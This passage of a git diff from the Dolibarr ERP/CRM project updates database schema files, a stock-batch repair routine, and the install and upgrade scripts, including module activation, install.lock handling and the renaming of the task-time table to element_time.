INDEX idx_supplier_proposal_fk_projet (fk_projet); +ALTER TABLE llx_supplier_proposal ADD INDEX idx_supplier_proposal_fk_account(fk_account); + +--ALTER TABLE llx_propal ADD CONSTRAINT fk_propal_fk_soc FOREIGN KEY (fk_soc) REFERENCES llx_societe (rowid); +--ALTER TABLE llx_propal ADD CONSTRAINT fk_propal_fk_user_author FOREIGN KEY (fk_user_author) REFERENCES llx_user (rowid); +--ALTER TABLE llx_propal ADD CONSTRAINT fk_propal_fk_user_valid FOREIGN KEY (fk_user_valid) REFERENCES llx_user (rowid); +--ALTER TABLE llx_propal ADD CONSTRAINT fk_propal_fk_user_signature FOREIGN KEY (fk_user_signature) REFERENCES llx_user (rowid); +--ALTER TABLE llx_propal ADD CONSTRAINT fk_propal_fk_user_cloture FOREIGN KEY (fk_user_cloture) REFERENCES llx_user (rowid); +--ALTER TABLE llx_propal ADD CONSTRAINT fk_propal_fk_projet FOREIGN KEY (fk_projet) REFERENCES llx_projet (rowid); +--ALTER TABLE llx_propal ADD CONSTRAINT fk_propal_fk_warehouse FOREIGN KEY (fk_warehouse) REFERENCES llx_entrepot(rowid); diff --git a/htdocs/install/mysql/tables/llx_takepos_floor_tables.key.sql b/htdocs/install/mysql/tables/llx_takepos_floor_tables-takepos.key.sql similarity index 87% rename from htdocs/install/mysql/tables/llx_takepos_floor_tables.key.sql rename to htdocs/install/mysql/tables/llx_takepos_floor_tables-takepos.key.sql index e90cd67e889..d2f699df325 100644 --- a/htdocs/install/mysql/tables/llx_takepos_floor_tables.key.sql +++ b/htdocs/install/mysql/tables/llx_takepos_floor_tables-takepos.key.sql @@ -13,4 +13,4 @@ -- You should have received a copy of the GNU General Public License -- along with this program. If not, see https://www.gnu.org/licenses/. -ALTER TABLE llx_takepos_floor_tables ADD UNIQUE(entity,label); \ No newline at end of file +ALTER TABLE llx_takepos_floor_tables ADD UNIQUE INDEX uk_takepos_floor_tables(entity,label); diff --git a/htdocs/install/mysql/tables/llx_takepos_floor_tables.sql b/htdocs/install/mysql/tables/llx_takepos_floor_tables-takepos.sql similarity index 100% rename from htdocs/install/mysql/tables/llx_takepos_floor_tables.sql rename to htdocs/install/mysql/tables/llx_takepos_floor_tables-takepos.sql diff --git a/htdocs/install/mysql/tables/llx_ticket-ticket.key.sql b/htdocs/install/mysql/tables/llx_ticket-ticket.key.sql index d4805d8a788..858f7c7eec5 100644 --- a/htdocs/install/mysql/tables/llx_ticket-ticket.key.sql +++ b/htdocs/install/mysql/tables/llx_ticket-ticket.key.sql @@ -21,3 +21,8 @@ ALTER TABLE llx_ticket ADD INDEX idx_ticket_fk_soc (fk_soc); ALTER TABLE llx_ticket ADD INDEX idx_ticket_fk_user_assign (fk_user_assign); ALTER TABLE llx_ticket ADD INDEX idx_ticket_fk_project (fk_project); ALTER TABLE llx_ticket ADD INDEX idx_ticket_fk_statut (fk_statut); + +-- Idea for better perf to get last num of ticket on large databases +--ALTER TABLE llx_ticket ADD COLUMN calculated_numrefonly INTEGER AS (CASE SUBSTRING(ref FROM 1 FOR 2) WHEN 'TS' THEN CAST(SUBSTRING(ref FROM 8) AS SIGNED) ELSE 0 END) PERSISTENT; +--ALTER TABLE llx_ticket ADD INDEX idx_calculated_numrefonly (calculated_numrefonly); +--Then, the numering module can use the column calculated_numrefonly to get the max with SELECT MAX(calculated_numrefonly) FROM llx_ticket diff --git a/htdocs/install/mysql/tables/llx_ticket-ticket.sql b/htdocs/install/mysql/tables/llx_ticket-ticket.sql index 278d62894bc..c651eaccca2 100644 --- a/htdocs/install/mysql/tables/llx_ticket-ticket.sql +++ b/htdocs/install/mysql/tables/llx_ticket-ticket.sql @@ -26,7 +26,7 @@ CREATE TABLE llx_ticket fk_user_create integer, fk_user_assign integer, subject varchar(255), - message text, + message mediumtext, fk_statut integer, resolution integer, progress integer DEFAULT 0, -- progression 0 - 100 or null diff --git a/htdocs/install/mysql/tables/llx_user.sql b/htdocs/install/mysql/tables/llx_user.sql index ca0c7bc818d..a10f8489bcb 100644 --- a/htdocs/install/mysql/tables/llx_user.sql +++ b/htdocs/install/mysql/tables/llx_user.sql @@ -84,6 +84,7 @@ create table llx_user datelastpassvalidation datetime, -- last date we change password or we made a disconnect all datestartvalidity datetime, dateendvalidity datetime, + flagdelsessionsbefore datetime DEFAULT NULL, -- set this to a date if we need to launch an external process to invalidate all sessions for the same login created before this date iplastlogin varchar(250), ippreviouslogin varchar(250), egroupware_id integer, diff --git a/htdocs/install/mysql/tables/llx_website-website.sql b/htdocs/install/mysql/tables/llx_website-website.sql index 0df6ccf8ef3..8ac580919aa 100644 --- a/htdocs/install/mysql/tables/llx_website-website.sql +++ b/htdocs/install/mysql/tables/llx_website-website.sql @@ -36,9 +36,10 @@ CREATE TABLE llx_website fk_user_modif integer, date_creation datetime, position integer DEFAULT 0, - lastaccess datetime NULL, - pageviews_month BIGINT UNSIGNED DEFAULT 0, - pageviews_total BIGINT UNSIGNED DEFAULT 0, + lastaccess datetime NULL, -- updated at each page access + pageviews_previous_month BIGINT UNSIGNED DEFAULT 0, + pageviews_month BIGINT UNSIGNED DEFAULT 0, -- increased by 1 at each page access, saved into pageviews_previous_month when on different month than lastaccess + pageviews_total BIGINT UNSIGNED DEFAULT 0, -- increased by 1 at each page access, no reset tms timestamp DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, import_key varchar(14) -- import key ) ENGINE=innodb; diff --git a/htdocs/install/pgsql/functions/functions.sql b/htdocs/install/pgsql/functions/functions.sql index 35bc4e05c11..918d17385eb 100644 --- a/htdocs/install/pgsql/functions/functions.sql +++ b/htdocs/install/pgsql/functions/functions.sql @@ -1,6 +1,7 @@ -- ============================================================================ -- Copyright (C) 2004 Benoit Mortier -- Copyright (C) 2010 Laurent Destailleur +-- Copyright (C) 2023 Gauthier VERDOL -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by @@ -150,7 +151,7 @@ CREATE TRIGGER update_customer_modtime BEFORE UPDATE ON llx_projet FOR EACH ROW CREATE TRIGGER update_customer_modtime BEFORE UPDATE ON llx_projet_extrafields FOR EACH ROW EXECUTE PROCEDURE update_modified_column_tms(); CREATE TRIGGER update_customer_modtime BEFORE UPDATE ON llx_projet_task FOR EACH ROW EXECUTE PROCEDURE update_modified_column_tms(); CREATE TRIGGER update_customer_modtime BEFORE UPDATE ON llx_projet_task_extrafields FOR EACH ROW EXECUTE PROCEDURE update_modified_column_tms(); -CREATE TRIGGER update_customer_modtime BEFORE UPDATE ON llx_projet_task_time FOR EACH ROW EXECUTE PROCEDURE update_modified_column_tms(); +CREATE TRIGGER update_customer_modtime BEFORE UPDATE ON llx_element_time FOR EACH ROW EXECUTE PROCEDURE update_modified_column_tms(); CREATE TRIGGER update_customer_modtime BEFORE UPDATE ON llx_propal FOR EACH ROW EXECUTE PROCEDURE update_modified_column_tms(); CREATE TRIGGER update_customer_modtime BEFORE UPDATE ON llx_propal_extrafields FOR EACH ROW EXECUTE PROCEDURE update_modified_column_tms(); CREATE TRIGGER update_customer_modtime BEFORE UPDATE ON llx_propal_merge_pdf_product FOR EACH ROW EXECUTE PROCEDURE update_modified_column_tms(); diff --git a/htdocs/install/repair.php b/htdocs/install/repair.php index 802711f4ff3..70be057b7b8 100644 --- a/htdocs/install/repair.php +++ b/htdocs/install/repair.php @@ -4,6 +4,7 @@ * Copyright (C) 2005-2012 Regis Houssin * Copyright (C) 2015 Raphaël Doursenaud * Copyright (C) 2021 Frédéric France + * Copyright (C) 2023 Gauthier VERDOL * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -903,9 +904,8 @@ if ($ok && GETPOST('clean_product_stock_batch', 'alpha')) { $sql = "SELECT p.rowid, p.ref, p.tobatch, ps.rowid as psrowid, ps.fk_entrepot, ps.reel, SUM(pb.qty) as reelbatch"; $sql .= " FROM ".MAIN_DB_PREFIX."product as p, ".MAIN_DB_PREFIX."product_stock as ps LEFT JOIN ".MAIN_DB_PREFIX."product_batch as pb ON ps.rowid = pb.fk_product_stock"; $sql .= " WHERE p.rowid = ps.fk_product"; - $sql .= " AND p.tobatch > 0"; $sql .= " GROUP BY p.rowid, p.ref, p.tobatch, ps.rowid, ps.fk_entrepot, ps.reel"; - $sql .= " HAVING reel != SUM(pb.qty) or SUM(pb.qty) IS NULL"; + $sql .= " HAVING (SUM(pb.qty) IS NOT NULL AND reel != SUM(pb.qty)) OR (SUM(pb.qty) IS NULL AND p.tobatch > 0)"; print $sql; $resql = $db->query($sql); if ($resql) { @@ -915,53 +915,73 @@ if ($ok && GETPOST('clean_product_stock_batch', 'alpha')) { $i = 0; while ($i < $num) { $obj = $db->fetch_object($resql); - print 'Product '.$obj->rowid.'-'.$obj->ref.' in warehose '.$obj->fk_entrepot.' -> '.$obj->psrowid.': '.$obj->reel.' (product_stock.reel) != '.($obj->reelbatch ? $obj->reelbatch : '0').' (sum product_batch)'; + print 'Product '.$obj->rowid.'-'.$obj->ref.' in warehouse id='.$obj->fk_entrepot.' (product_stock.id='.$obj->psrowid.'): '.$obj->reel.' (Stock product_stock.reel) != '.($obj->reelbatch ? $obj->reelbatch : '0').' (Stock batch sum product_batch)'; - // Fix + // Fix is required if ($obj->reel != $obj->reelbatch) { - if ($methodtofix == 'updatebatch') { - // Method 1 - print ' -> Insert qty '.($obj->reel - $obj->reelbatch).' with lot 000000 linked to fk_product_stock='.$obj->psrowid; + if (empty($obj->tobatch)) { + // If product is not a product that support batches, we can clean stock by deleting the product batch lines + print ' -> Delete qty '.$obj->reelbatch.' for any lot linked to fk_product_stock='.$obj->psrowid; + $sql2 = "DELETE FROM ".MAIN_DB_PREFIX."product_batch"; + $sql2 .= " WHERE fk_product_stock = ".((int) $obj->psrowid); + print '
      '.$sql2; + if (GETPOST('clean_product_stock_batch') == 'confirmed') { - $sql2 = "INSERT INTO ".MAIN_DB_PREFIX."product_batch(fk_product_stock, batch, qty)"; - $sql2 .= "VALUES(".$obj->psrowid.", '000000', ".($obj->reel - $obj->reelbatch).")"; $resql2 = $db->query($sql2); if (!$resql2) { - // TODO If it fails, we must make update - //$sql2 ="UPDATE ".MAIN_DB_PREFIX."product_batch"; - //$sql2.=" SET ".$obj->psrowid.", '000000', ".($obj->reel - $obj->reelbatch).")"; - //$sql2.=" WHERE fk_product_stock = ".((int) $obj->psrowid) - } - } - } - if ($methodtofix == 'updatestock') { - // Method 2 - print ' -> Update qty of product_stock with qty = '.($obj->reelbatch ? ((float) $obj->reelbatch) : '0').' for ps.rowid = '.((int) $obj->psrowid); - if (GETPOST('clean_product_stock_batch') == 'confirmed') { - $error = 0; - - $db->begin(); - - $sql2 = "UPDATE ".MAIN_DB_PREFIX."product_stock"; - $sql2 .= " SET reel = ".($obj->reelbatch ? ((float) $obj->reelbatch) : '0')." WHERE rowid = ".((int) $obj->psrowid); - $resql2 = $db->query($sql2); - if ($resql2) { - // We update product_stock, so we must fill p.stock into product too. - $sql3 = 'UPDATE '.MAIN_DB_PREFIX.'product p SET p.stock= (SELECT SUM(ps.reel) FROM '.MAIN_DB_PREFIX.'product_stock ps WHERE ps.fk_product = p.rowid)'; - $resql3 = $db->query($sql3); - if (!$resql3) { - $error++; - dol_print_error($db); - } - } else { $error++; dol_print_error($db); } + } + } else { + if ($methodtofix == 'updatebatch') { + // Method 1 + print ' -> Insert qty '.($obj->reel - $obj->reelbatch).' with lot 000000 linked to fk_product_stock='.$obj->psrowid; + $sql2 = "INSERT INTO ".MAIN_DB_PREFIX."product_batch(fk_product_stock, batch, qty)"; + $sql2 .= "VALUES(".((int) $obj->psrowid).", '000000', ".((float) ($obj->reel - $obj->reelbatch)).")"; + print '
      '.$sql2; - if (!$error) { - $db->commit(); - } else { - $db->rollback(); + if (GETPOST('clean_product_stock_batch') == 'confirmed') { + $resql2 = $db->query($sql2); + if (!$resql2) { + // TODO If it fails, we must make update + //$sql2 ="UPDATE ".MAIN_DB_PREFIX."product_batch"; + //$sql2.=" SET ".$obj->psrowid.", '000000', ".($obj->reel - $obj->reelbatch).")"; + //$sql2.=" WHERE fk_product_stock = ".((int) $obj->psrowid) + } + } + } + if ($methodtofix == 'updatestock') { + // Method 2 + print ' -> Update qty of product_stock with qty = '.($obj->reelbatch ? ((float) $obj->reelbatch) : '0').' for ps.rowid = '.((int) $obj->psrowid); + $sql2 = "UPDATE ".MAIN_DB_PREFIX."product_stock"; + $sql2 .= " SET reel = ".($obj->reelbatch ? ((float) $obj->reelbatch) : '0')." WHERE rowid = ".((int) $obj->psrowid); + print '
      '.$sql2; + + if (GETPOST('clean_product_stock_batch') == 'confirmed') { + $error = 0; + + $db->begin(); + + $resql2 = $db->query($sql2); + if ($resql2) { + // We update product_stock, so we must fill p.stock into product too. + $sql3 = 'UPDATE '.MAIN_DB_PREFIX.'product p SET p.stock= (SELECT SUM(ps.reel) FROM '.MAIN_DB_PREFIX.'product_stock ps WHERE ps.fk_product = p.rowid)'; + $resql3 = $db->query($sql3); + if (!$resql3) { + $error++; + dol_print_error($db); + } + } else { + $error++; + dol_print_error($db); + } + + if (!$error) { + $db->commit(); + } else { + $db->rollback(); + } } } } @@ -1011,7 +1031,7 @@ if ($ok && GETPOST('set_empty_time_spent_amount', 'alpha')) { print '
      *** Set value of time spent without amount'; $sql = "SELECT COUNT(ptt.rowid) as nb, u.rowid as user_id, u.login, u.thm as user_thm"; - $sql .= " FROM ".MAIN_DB_PREFIX."projet_task_time as ptt, ".MAIN_DB_PREFIX."user as u"; + $sql .= " FROM ".MAIN_DB_PREFIX."element_time as ptt, ".MAIN_DB_PREFIX."user as u"; $sql .= " WHERE ptt.fk_user = u.rowid"; $sql .= " AND ptt.thm IS NULL and u.thm > 0"; $sql .= " GROUP BY u.rowid, u.login, u.thm"; @@ -1029,7 +1049,7 @@ if ($ok && GETPOST('set_empty_time_spent_amount', 'alpha')) { $db->begin(); if (GETPOST('set_empty_time_spent_amount') == 'confirmed') { - $sql2 = "UPDATE ".MAIN_DB_PREFIX."projet_task_time"; + $sql2 = "UPDATE ".MAIN_DB_PREFIX."element_time"; $sql2 .= " SET thm = ".$obj->user_thm." WHERE thm IS NULL AND fk_user = ".((int) $obj->user_id); $resql2 = $db->query($sql2); if (!$resql2) { diff --git a/htdocs/install/step1.php b/htdocs/install/step1.php index 7958012b0a1..4df1370570a 100644 --- a/htdocs/install/step1.php +++ b/htdocs/install/step1.php @@ -908,7 +908,7 @@ function write_conf_file($conffile) fputs($fp, '$dolibarr_main_force_https=\''.$main_force_https.'\';'); fputs($fp, "\n"); - fputs($fp, '$dolibarr_main_restrict_os_commands=\'mysqldump, mysql, pg_dump, pgrestore\';'); + fputs($fp, '$dolibarr_main_restrict_os_commands=\'mysqldump, mysql, pg_dump, pgrestore, clamdscan, clamscan.exe\';'); fputs($fp, "\n"); fputs($fp, '$dolibarr_nocsrfcheck=\'0\';'); diff --git a/htdocs/install/step5.php b/htdocs/install/step5.php index 958a8b28d95..40e1c1b799e 100644 --- a/htdocs/install/step5.php +++ b/htdocs/install/step5.php @@ -24,14 +24,26 @@ * \file htdocs/install/step5.php * \ingroup install * \brief Last page of upgrade / install process + * + * This page is called with parameter action=set by step4.php or action=upgrade by upgrade2.php + * For installation: + * It creates the login admin and set the MAIN_SECURITY_SALT to a random value. + * It set the value for MAIN_VERSION_LAST_INSTALL + * It activates some modules + * It creates the install.lock and shows the final message. + * For upgrade: + * It updates the value for MAIN_VERSION_LAST_UPGRADE. + * It (re)creates the install.lock and shows the final message. */ +define('ALLOWED_IF_UPGRADE_UNLOCK_FOUND', 1); include_once 'inc.php'; if (file_exists($conffile)) { include_once $conffile; } require_once $dolibarr_main_document_root.'/core/lib/admin.lib.php'; require_once $dolibarr_main_document_root.'/core/lib/security.lib.php'; // for dol_hash +require_once $dolibarr_main_document_root.'/core/lib/functions2.lib.php'; global $langs; @@ -267,13 +279,19 @@ if ($action == "set" || empty($action) || preg_match('/upgrade/i', $action)) { if (!$resql) { dol_print_error($db, 'Error in setup program'); } + // The install.lock file is created few lines later if version is last one or if option MAIN_ALWAYS_CREATE_LOCK_AFTER_LAST_UPGRADE is on + /* No need to enable this $resql = $db->query("INSERT INTO ".MAIN_DB_PREFIX."const(name,value,type,visible,note,entity) values(".$db->encrypt('MAIN_REMOVE_INSTALL_WARNING').", ".$db->encrypt(1).", 'chaine', 1, 'Disable install warnings', 0)"); if (!$resql) { dol_print_error($db, 'Error in setup program'); } $conf->global->MAIN_REMOVE_INSTALL_WARNING = 1; + */ } + // List of modules to enable + $tmparray = array(); + // If we ask to force some modules to be enabled if (!empty($force_install_module)) { if (!defined('DOL_DOCUMENT_ROOT') && !empty($dolibarr_main_document_root)) { @@ -281,9 +299,53 @@ if ($action == "set" || empty($action) || preg_match('/upgrade/i', $action)) { } $tmparray = explode(',', $force_install_module); + } + + $modNameLoaded = array(); + + // Search modules dirs + $modulesdir[] = $dolibarr_main_document_root.'/core/modules/'; + + foreach ($modulesdir as $dir) { + // Load modules attributes in arrays (name, numero, orders) from dir directory + //print $dir."\n
      "; + dol_syslog("Scan directory ".$dir." for module descriptor files (modXXX.class.php)"); + $handle = @opendir($dir); + if (is_resource($handle)) { + while (($file = readdir($handle)) !== false) { + if (is_readable($dir.$file) && substr($file, 0, 3) == 'mod' && substr($file, dol_strlen($file) - 10) == '.class.php') { + $modName = substr($file, 0, dol_strlen($file) - 10); + if ($modName) { + if (!empty($modNameLoaded[$modName])) { // In cache of already loaded modules ? + $mesg = "Error: Module ".$modName." was found twice: Into ".$modNameLoaded[$modName]." and ".$dir.". You probably have an old file on your disk.
      "; + setEventMessages($mesg, null, 'warnings'); + dol_syslog($mesg, LOG_ERR); + continue; + } + + try { + $res = include_once $dir.$file; // A class already exists in a different file will send a non catchable fatal error. + if (class_exists($modName)) { + $objMod = new $modName($db); + $modNameLoaded[$modName] = $dir; + if (!empty($objMod->enabled_bydefault) && !in_array($file, $tmparray)) { + $tmparray[] = $file; + } + } + } catch (Exception $e) { + dol_syslog("Failed to load ".$dir.$file." ".$e->getMessage(), LOG_ERR); + } + } + } + } + } + } + + // Loop on each modules to activate it + if (!empty($tmparray)) { foreach ($tmparray as $modtoactivate) { $modtoactivatenew = preg_replace('/\.class\.php$/i', '', $modtoactivate); - print $langs->trans("ActivateModule", $modtoactivatenew).'
      '; + //print $langs->trans("ActivateModule", $modtoactivatenew).'
      '; $file = $modtoactivatenew.'.class.php'; dolibarr_install_syslog('step5: activate module file='.$file); @@ -294,10 +356,12 @@ if ($action == "set" || empty($action) || preg_match('/upgrade/i', $action)) { print 'ERROR: failed to activateModule() file='.$file; } } + //print '
      '; } + // Now delete the flag to say install is complete dolibarr_install_syslog('step5: remove MAIN_NOT_INSTALLED const'); - $resql = $db->query("DELETE FROM ".MAIN_DB_PREFIX."const WHERE ".$db->decrypt('name')."='MAIN_NOT_INSTALLED'"); + $resql = $db->query("DELETE FROM ".MAIN_DB_PREFIX."const WHERE ".$db->decrypt('name')." = 'MAIN_NOT_INSTALLED'"); if (!$resql) { dol_print_error($db, 'Error in setup program'); } @@ -365,22 +429,26 @@ if ($action == "set" || empty($action) || preg_match('/upgrade/i', $action)) { if ($action == "set") { if ($success) { if (empty($conf->global->MAIN_VERSION_LAST_UPGRADE) || ($conf->global->MAIN_VERSION_LAST_UPGRADE == DOL_VERSION)) { - // Install is finished + // Install is finished (database is on same version than files) print '
      '.$langs->trans("SystemIsInstalled")."
      "; + // Create install.lock file + // No need for the moment to create it automatically, creation by web assistant means permissions are given + // to the web user, it is better to show a warning to say to create it manually with correct user/permission (not erasable by a web process) $createlock = 0; - if (!empty($force_install_lockinstall) || !empty($conf->global->MAIN_ALWAYS_CREATE_LOCK_AFTER_LAST_UPGRADE)) { - // Install is finished, we create the lock file + // Install is finished, we create the "install.lock" file, so install won't be possible anymore. + // TODO Upgrade will be still be possible if a file "upgrade.unlock" is present $lockfile = DOL_DATA_ROOT.'/install.lock'; $fp = @fopen($lockfile, "w"); if ($fp) { if (empty($force_install_lockinstall) || $force_install_lockinstall == 1) { - $force_install_lockinstall = 444; // For backward compatibility + $force_install_lockinstall = '444'; // For backward compatibility } - fwrite($fp, "This is a lock file to prevent use of install pages (set with permission ".$force_install_lockinstall.")"); + fwrite($fp, "This is a lock file to prevent use of install or upgrade pages (set with permission ".$force_install_lockinstall.")"); fclose($fp); - @chmod($lockfile, octdec($force_install_lockinstall)); + dolChmod($lockfile, $force_install_lockinstall); + $createlock = 1; } } @@ -410,22 +478,25 @@ if ($action == "set") { } elseif (empty($action) || preg_match('/upgrade/i', $action)) { // If upgrade if (empty($conf->global->MAIN_VERSION_LAST_UPGRADE) || ($conf->global->MAIN_VERSION_LAST_UPGRADE == DOL_VERSION)) { - // Upgrade is finished - print 'Configuration '.$langs->trans("SystemIsUpgraded")."
      "; + // Upgrade is finished (database is on the same version than files) + print 'Configuration'; + print ' '.$langs->trans("SystemIsUpgraded")."
      "; + // Create install.lock file if it does not exists. + // Note: it should always exists. A better solution to allow upgrade will be to add an upgrade.unlock file $createlock = 0; - if (!empty($force_install_lockinstall) || !empty($conf->global->MAIN_ALWAYS_CREATE_LOCK_AFTER_LAST_UPGRADE)) { - // Upgrade is finished, we create the lock file + // Upgrade is finished, we modify the lock file $lockfile = DOL_DATA_ROOT.'/install.lock'; $fp = @fopen($lockfile, "w"); if ($fp) { if (empty($force_install_lockinstall) || $force_install_lockinstall == 1) { - $force_install_lockinstall = 444; // For backward compatibility + $force_install_lockinstall = '444'; // For backward compatibility } - fwrite($fp, "This is a lock file to prevent use of install pages (set with permission ".$force_install_lockinstall.")"); + fwrite($fp, "This is a lock file to prevent use of install or upgrade pages (set with permission ".$force_install_lockinstall.")"); fclose($fp); - @chmod($lockfile, octdec($force_install_lockinstall)); + dolChmod($lockfile, $force_install_lockinstall); + $createlock = 1; } } @@ -433,6 +504,10 @@ if ($action == "set") { print '
      '.$langs->trans("WarningRemoveInstallDir")."
      "; } + // Delete the upgrade.unlock file it it exists + $unlockupgradefile = DOL_DATA_ROOT.'/upgrade.unlock'; + dol_delete_file($unlockupgradefile, 0, 0, 0, null, false, 0); + print "
      "; $morehtml = '
      '; diff --git a/htdocs/install/upgrade.php b/htdocs/install/upgrade.php index 22ef26295aa..1cccc3cc129 100644 --- a/htdocs/install/upgrade.php +++ b/htdocs/install/upgrade.php @@ -36,6 +36,7 @@ * \brief Run migration script */ +define('ALLOWED_IF_UPGRADE_UNLOCK_FOUND', 1); include_once 'inc.php'; if (!file_exists($conffile)) { print 'Error: Dolibarr config file was not found. This may means that Dolibarr is not installed yet. Please call the page "/install/index.php" instead of "/install/upgrade.php").'; diff --git a/htdocs/install/upgrade2.php b/htdocs/install/upgrade2.php index bbb12e8693e..fd063b40a26 100644 --- a/htdocs/install/upgrade2.php +++ b/htdocs/install/upgrade2.php @@ -4,6 +4,7 @@ * Copyright (C) 2005-2011 Regis Houssin * Copyright (C) 2010 Juanjo Menent * Copyright (C) 2015-2016 Raphaël Doursenaud + * Copyright (C) 2023 Gauthier VERDOL * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -38,6 +39,7 @@ * \brief Upgrade some data */ +define('ALLOWED_IF_UPGRADE_UNLOCK_FOUND', 1); include_once 'inc.php'; if (!file_exists($conffile)) { print 'Error: Dolibarr config file was not found. This may means that Dolibarr is not installed yet. Please call the page "/install/index.php" instead of "/install/upgrade.php").'; @@ -338,7 +340,7 @@ if (!GETPOST('action', 'aZ09') || preg_match('/upgrade/i', GETPOST('action', 'aZ $afterversionarray = explode('.', '2.8.9'); $beforeversionarray = explode('.', '2.9.9'); if (versioncompare($versiontoarray, $afterversionarray) >= 0 && versioncompare($versiontoarray, $beforeversionarray) <= 0) { - migrate_project_task_time($db, $langs, $conf); + migrate_element_time($db, $langs, $conf); migrate_customerorder_shipping($db, $langs, $conf); @@ -490,6 +492,13 @@ if (!GETPOST('action', 'aZ09') || preg_match('/upgrade/i', GETPOST('action', 'aZ if (versioncompare($versiontoarray, $afterversionarray) >= 0 && versioncompare($versiontoarray, $beforeversionarray) <= 0) { migrate_contractdet_rank(); } + + // Scripts for 18.0 + $afterversionarray = explode('.', '17.0.9'); + $beforeversionarray = explode('.', '18.0.9'); + if (versioncompare($versiontoarray, $afterversionarray) >= 0 && versioncompare($versiontoarray, $beforeversionarray) <= 0) { + migrate_contractdet_rank(); + } } @@ -2893,9 +2902,9 @@ function migrate_relationship_tables($db, $langs, $conf, $table, $fk_source, $so * @param Conf $conf Object conf * @return void */ -function migrate_project_task_time($db, $langs, $conf) +function migrate_element_time($db, $langs, $conf) { - dolibarr_install_syslog("upgrade2::migrate_project_task_time"); + dolibarr_install_syslog("upgrade2::migrate_element_time"); print ''; @@ -2906,8 +2915,8 @@ function migrate_project_task_time($db, $langs, $conf) $db->begin(); - $sql = "SELECT rowid, fk_task, task_duration"; - $sql .= " FROM ".MAIN_DB_PREFIX."projet_task_time"; + $sql = "SELECT rowid, fk_element, element_duration"; + $sql .= " FROM ".MAIN_DB_PREFIX."element_time"; $resql = $db->query($sql); if ($resql) { $i = 0; @@ -2920,16 +2929,16 @@ function migrate_project_task_time($db, $langs, $conf) while ($i < $num) { $obj = $db->fetch_object($resql); - if ($obj->task_duration > 0) { + if ($obj->element_duration > 0) { // convert to second // only for int time and float time ex: 1,75 for 1h45 - list($hour, $min) = explode('.', $obj->task_duration); + list($hour, $min) = explode('.', $obj->element_duration); $hour = $hour * 60 * 60; $min = ($min / 100) * 60 * 60; $newtime = $hour + $min; - $sql2 = "UPDATE ".MAIN_DB_PREFIX."projet_task_time SET"; - $sql2 .= " task_duration = ".((int) $newtime); + $sql2 = "UPDATE ".MAIN_DB_PREFIX."element_time SET"; + $sql2 .= " element_duration = ".((int) $newtime); $sql2 .= " WHERE rowid = ".((int) $obj->rowid); $resql2 = $db->query($sql2); @@ -2939,16 +2948,16 @@ function migrate_project_task_time($db, $langs, $conf) } print ". "; $oldtime++; - if (!empty($totaltime[$obj->fk_task])) { - $totaltime[$obj->fk_task] += $newtime; + if (!empty($totaltime[$obj->fk_element])) { + $totaltime[$obj->fk_element] += $newtime; } else { - $totaltime[$obj->fk_task] = $newtime; + $totaltime[$obj->fk_element] = $newtime; } } else { - if (!empty($totaltime[$obj->fk_task])) { - $totaltime[$obj->fk_task] += $obj->task_duration; + if (!empty($totaltime[$obj->fk_element])) { + $totaltime[$obj->fk_element] += $obj->element_duration; } else { - $totaltime[$obj->fk_task] = $obj->task_duration; + $totaltime[$obj->fk_element] = $obj->element_duration; } } @@ -4079,11 +4088,11 @@ function migrate_rename_directories($db, $langs, $conf, $oldname, $newname) * @param DoliDB $db Database handler * @param Translate $langs Object langs * @param Conf $conf Object conf - * @return void + * @return boolean */ function migrate_delete_old_files($db, $langs, $conf) { - $result = true; + $ret = true; dolibarr_install_syslog("upgrade2::migrate_delete_old_files"); @@ -4148,7 +4157,6 @@ function migrate_delete_old_files($db, $langs, $conf) foreach ($filetodeletearray as $filetodelete) { //print ''DOL_DOCUMENT_ROOT.$filetodelete."
      \n"; - $result = 1; if (file_exists(DOL_DOCUMENT_ROOT.$filetodelete)) { $result = dol_delete_file(DOL_DOCUMENT_ROOT.$filetodelete, 0, 0, 0, null, true, false); if (!$result) { @@ -4160,7 +4168,8 @@ function migrate_delete_old_files($db, $langs, $conf) } } } - return $result; + + return $ret; } /** @@ -4169,11 +4178,11 @@ function migrate_delete_old_files($db, $langs, $conf) * @param DoliDB $db Database handler * @param Translate $langs Object langs * @param Conf $conf Object conf - * @return void + * @return boolean */ function migrate_delete_old_dir($db, $langs, $conf) { - $result = true; + $ret = true; dolibarr_install_syslog("upgrade2::migrate_delete_old_dir"); @@ -4189,7 +4198,7 @@ function migrate_delete_old_dir($db, $langs, $conf) } foreach ($filetodeletearray as $filetodelete) { - //print ''.$filetodelete."
      \n"; + $result = 1; if (file_exists($filetodelete)) { $result = dol_delete_dir_recursive($filetodelete); } @@ -4199,7 +4208,8 @@ function migrate_delete_old_dir($db, $langs, $conf) print ' '.$langs->trans("RemoveItManuallyAndPressF5ToContinue").'
      '; } } - return $result; + + return $ret; } @@ -4213,12 +4223,12 @@ function migrate_delete_old_dir($db, $langs, $conf) * @param Conf $conf Object conf * @param array $listofmodule List of modules, like array('MODULE_KEY_NAME'=>', $reloadmode) * @param int $force 1=Reload module even if not already loaded - * @return int <0 if KO, >0 if OK + * @return int <0 if KO, >0 if OK */ function migrate_reload_modules($db, $langs, $conf, $listofmodule = array(), $force = 0) { if (count($listofmodule) == 0) { - return; + return 0; } dolibarr_install_syslog("upgrade2::migrate_reload_modules force=".$force.", listofmodule=".join(',', array_keys($listofmodule))); @@ -4485,7 +4495,7 @@ function migrate_reload_modules($db, $langs, $conf, $listofmodule = array(), $fo * @param DoliDB $db Database handler * @param Translate $langs Object langs * @param Conf $conf Object conf - * @return void + * @return int <0 if KO, >0 if OK */ function migrate_reload_menu($db, $langs, $conf) { @@ -4515,6 +4525,8 @@ function migrate_reload_menu($db, $langs, $conf) print ''; } + + return 1; } /** diff --git a/htdocs/intracommreport/card.php b/htdocs/intracommreport/card.php index f2c88d7a217..a5b17803f65 100644 --- a/htdocs/intracommreport/card.php +++ b/htdocs/intracommreport/card.php @@ -119,7 +119,7 @@ if ($action == 'add' && $permissiontoadd) { $object->label = trim($label); $object->type = trim($exporttype); $object->type_declaration = $type_declaration; - $object->subscription = (int) $subscription; + //$object->subscription = (int) $subscription; // Fill array 'array_options' with data from add form // $ret = $extrafields->setOptionalsFromPost($extralabels, $object); @@ -274,7 +274,7 @@ if ($id > 0 && $action != 'edit') { print "\n"; print "\n"; - print '
      '; + print '
